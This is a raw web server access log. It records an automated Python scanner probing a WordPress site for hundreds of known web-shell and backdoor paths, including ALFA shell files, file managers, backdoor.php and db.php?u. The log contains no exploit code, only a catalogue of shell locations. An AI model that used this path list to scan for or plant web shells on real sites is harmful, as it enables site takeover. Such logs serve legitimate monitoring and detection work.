139.190.141.151 - - [27/Apr/2025:08:40:01 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:03 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:04 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:06 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:07 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:09 -0400] "GET /wp-admin/29rc7ExgS6p.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:10 -0400] "GET /wp-content/plugins/wp-catcher/Yym123Wx.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:12 -0400] "GET /wp-content/plugins/wp-catcher/1sGWU9qf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:13 -0400] "GET /wp-admin/images/AOCCxUU.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:14 -0400] "GET /wp-includes/images/vlEaVzYAXB.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:16 -0400] "GET /wp-includes/images/smilies/KcefyOolsD.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:17 -0400] "GET /wp-admin/includes/media.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:19 -0400] "GET /wp-content/uploads/RansomWeb.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:20 -0400] "GET /wp-admin/css/colors/blue/youtube-icons.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:22 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:23 -0400] "GET /wp-includes/Text/wp-xl504.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:25 -0400] "GET /wp-includes/Text/sxx.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:26 -0400] "GET /wp-content/uploads/class.enhanced.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:28 -0400] "GET /wp-admin/js/widgets/browser.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:29 -0400] "GET /wp-includes/sitemaps/providers/mariju.php%20 HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:31 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:32 -0400] "GET /wp-includes/class-wp-http-proxy-list.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:34 -0400] "GET /wp-includes/class-smtp-time.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:35 -0400] "GET /wp-includes/rest-api-old.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:37 -0400] "GET /wp-admin/includes/image-num.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:39 -0400] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:41 -0400] "GET /wp-admin/includes/options-request.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:42 -0400] "GET /wp-includes/images/diluydua.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:44 -0400] "GET /wp-includes/version-double.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:45 -0400] "GET /wp-includes/opjelxli.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:46 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:48 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:49 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:50 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:52 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:53 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:55 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:56 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:57 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:59 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:00 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:02 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:03 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:05 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:06 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:07 -0400] "GET /wp-content/plugins/html404/cry.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:09 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:10 -0400] "GET /wp-content/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:12 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:13 -0400] "GET /wp-admin/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:15 -0400] "GET /wp-content/themes/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:16 -0400] "GET /wp-content/plugins/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:17 -0400] "GET /wp-admin/images/g3.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:19 -0400] "GET /wp-content/images/g3.php/wp-content/uploads/images/g3.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:20 -0400] "GET /g3.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:22 -0400] "GET /ezz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:23 -0400] "GET /wp-admin/ezz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:24 -0400] "GET /wp-admin/css/ezz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:26 -0400] "GET /wp-admin/images/ezz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:27 -0400] "GET /wp-admin/includes/ezz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:28 -0400] "GET /wp-admin/maint/ezz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:30 -0400] "GET /wp-admin/network/ezz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:32 -0400] "GET /wp-content/ezz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:33 -0400] "GET /wp-content/themes/ezz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:34 -0400] "GET /wp-content/plugins/ezz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:35 -0400] "GET /wp-content/uploads/ezz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:37 -0400] "GET /wp-includes/Ioad.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:39 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:40 -0400] "GET /wp-includes/shells.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:42 -0400] "GET /backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:43 -0400] "GET /wp-admin/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:44 -0400] "GET /wp-content/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:45 -0400] "GET /wp-includes/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:47 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:48 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:50 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:51 -0400] "GET /index/wsa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:52 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:54 -0400] "GET /wp-admin/js/about.php7?bads?bads HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:55 -0400] "GET /wp-includes/plugins/instabuilder2/cache/plugins/moon.php/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 162.0.232.217 - - [27/Apr/2025:08:41:55 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 139.190.141.151 - - [27/Apr/2025:08:41:56 -0400] "GET /wp-admin/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:57 -0400] "GET /wp-content/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:41:59 -0400] "GET /wp-includes/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:01 -0400] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:02 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:03 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:05 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:06 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:08 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:09 -0400] "GET /doc/function.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:10 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:12 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:14 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:16 -0400] "GET /hoot.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:17 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:18 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:20 -0400] "GET /secrets.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:21 -0400] "GET /.hidden/hidden.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 162.0.232.217 - - [27/Apr/2025:08:42:21 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 139.190.141.151 - - [27/Apr/2025:08:42:22 -0400] "GET /.hidden/config.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:24 -0400] "GET /hidden/shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:25 -0400] "GET /backdoor/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:26 -0400] "GET /manager/control.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:27 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:29 -0400] "GET /uname.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:30 -0400] "GET /wp-contentl/uname.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:31 -0400] "GET /wp-includes/uname.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:33 -0400] "GET /wp-admin/uname.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:34 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:36 -0400] "GET /wp-content/themes/jaida/lang.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:37 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:39 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:41 -0400] "GET /wp-content/plugins/root-file-manager/wp-file.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:42 -0400] "GET /wp-content/plugins/ph-file-manager/wp-file.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:44 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:45 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:47 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 162.0.232.217 - - [27/Apr/2025:08:42:48 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "get_local:DCV" 139.190.141.151 - - [27/Apr/2025:08:42:49 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:51 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:52 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:54 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:55 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:57 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:58 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:42:59 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:00 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:02 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:03 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:05 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:06 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:07 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:09 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:10 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:12 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:13 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:14 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:16 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:17 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:18 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:20 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:21 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:22 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:24 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:25 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:26 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:28 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:29 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:30 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:31 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:33 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:34 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:35 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:37 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:39 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:42 -0400] "GET /wp-content/themes/gaukingo/db.php?u HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:43 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:44 -0400] "GET /wp-admin/images/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:46 -0400] "GET /wp-includes/js/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:47 -0400] "GET /wp-includes/pomo/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:48 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:50 -0400] "GET /wp-includes/css/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:51 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:52 -0400] "GET /wp-includes/rest-api/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:53 -0400] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:55 -0400] "GET /wp-includes/Requests/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:56 -0400] "GET /wp-content/fonts/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:57 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:43:59 -0400] "GET /xmrlpc.php?p HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:00 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:02 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:03 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:04 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 